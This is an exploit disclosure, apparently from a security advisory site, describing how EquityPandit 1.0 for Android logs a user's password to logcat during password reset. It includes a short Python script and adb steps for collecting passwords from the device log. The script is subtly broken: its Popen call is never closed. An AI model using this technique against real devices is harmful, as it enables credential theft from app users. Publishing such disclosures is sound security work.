EquityPandit 1.0 Password Disclosure

EquityPandit version 1.0 suffers from a password disclosure vulnerability.

MD5 | b02f26593dbcac5ed9495a8e3fd0c4b4

#Exploit title: EquityPandit v1.0 - Insecure Logging
#Exploit Author: ManhNho
#Software name: "EquityPandit"
#Software link: https://play.google.com/store/apps/details?id=com.yieldnotion.equitypandit
#Version: 1.0
# Category: Android apps

- Sometimes developers keeps sensitive data logged into the developer
console. Thus, attacker easy to capture sensitive information like password.
- In this application, with adb, attacker can capture password of any
users via forgot password function.


- Santoku virtual machine
- Android virtual machine (installed "EquityPandit" apk file)
- Victim user/password: [email protected]/123456
- Exploit code named capture.py in Santoku vm as below:

import subprocess
import re

process_handler = subprocess.Popen(['adb', 'logcat', '-d'],
dumps = process_handler.stdout.read()
password_list = re.findall(r'password\s(.*)', dumps)
print 'Captured %i passwords! \nThey are:' %len(password_list)
for index, item in enumerate(password_list):
print '\t#%i: %s' %(int(index)+1, item)


- Step 1: From Santoku, use adb to connect to Android machine (x.x.x.x)

adb connect x.x.x.x

- Step 2: From Android machine, open EquityPandit, click forgot password
function for acccount "[email protected]" and then click submit
- Step 3: From Santoku, execute capture.py
- Actual: Password of "[email protected]" will be show in terminal as



Related Posts